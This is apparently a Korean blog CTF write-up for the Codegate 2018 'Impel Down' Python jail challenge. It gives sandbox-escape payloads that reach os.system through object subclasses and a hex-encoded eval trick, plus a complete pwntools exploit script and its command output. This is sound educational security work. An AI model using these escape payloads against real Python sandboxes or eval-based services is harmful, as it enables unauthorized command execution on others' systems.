codegate2018 writeup
- codegate 2018 Impel Down writeup 2018.02.06
codegate 2018 Impel Down writeup
2018. 2. 6. 19:09
풀이 시작한 김에 몇개 더 풀어봤다. 다음 문제는 impel down 이다.
Impel Down
접속해보면 pyjail 이라는 문구와 escape 를 통해 python 이며 악의적인 입력값으로 python code 를 실행하라는 것을 알 수 있다.
name : test
========
[day-1]
################## Work List ##################
coworker : Find Coworker For Escape
tool : Find Any Tool
dig : Go Deep~
bomb : make boooooooomb!!!
##############################################
tool
test : ~~~~
먼저 이름을 입력받고, 다음으로 작업을 입력받아서 실행시켜준다. 작업란에 특수문자, 괄호 등을 넣어보이 파이썬 쉘 에러를 확인할 수 있었다. 이걸로 확실히 python code execution 문제라는 것을 알 수 있다.
예전에 보았던 비슷한 문제가 있어서 그떄의 기억을 소환해 우선 로컬엣 테스트 해 보았다. import os 없이 명령어를 실행시킬 수 있는 방법이 몇가지 있는데, 아래는 그 중 한가지이다.
>>> ().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')
uid=501(hyunmini) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
하지만 이 문제에서는 길이값 제한 및 '_' 제한 떄문에 안됨. 테스트 결과 약 40여 글자가 넘어가면 에러가 발생함.
삽질하다가 결국 찾은 방법은 name 부분에다가 공격 문자열 넣어놓고 아래와 같이 불러오는 것.
name = "__import__('os').system('ls -al')".encode('hex')
dig(), eval(your.name),
아래는 전체 exploit 코드이다.
# impel_down_ex.py from pwn import * import pickle import os r = remote('localhost',9999) print r.recvuntil('Name : ') #name = "().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')".encode('hex') name = "__import__('os').system('ls -al')".encode('hex') r.sendline(name) print r.recvuntil('#\n') print r.recvuntil('#\n') cmd="dig(),eval(your.name.decode('hex'))," print cmd r.sendline(cmd) print r.recv(500) print r.recv(500) =======
실행결과
======
################## Work List ################## coworker : Find Coworker For Escape tool : Find Any Tool dig : Go Deep~ bomb : make boooooooomb!!! ############################################### dig(),eval(your.name.decode('hex')), 5f5f696d706f72745f5f28276f7327292e73797374656d28276c73202d616c2729 : [Dig] depth = 1 total 16 drwxr-xr-x 2 root root 4096 Feb 5 22:30 . drwxr-xr-x 4 root root 4096 Feb 5 22:30 .. -rw-r--r-- 1 root root 3889 Feb 5 22:24 Impel_Down.py -rw-r--r-- 1 root root 121 Feb 5 22:30 run.sh
풀이한 시점에는 서버가 닫혀서 플래그는 없으나 cat /flag 등으로 플래그 확인이 가능했다고 한다.
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
Codegate 2014 pwn 250 Writeup + pwntools 연습 (0) | 2016.12.16 |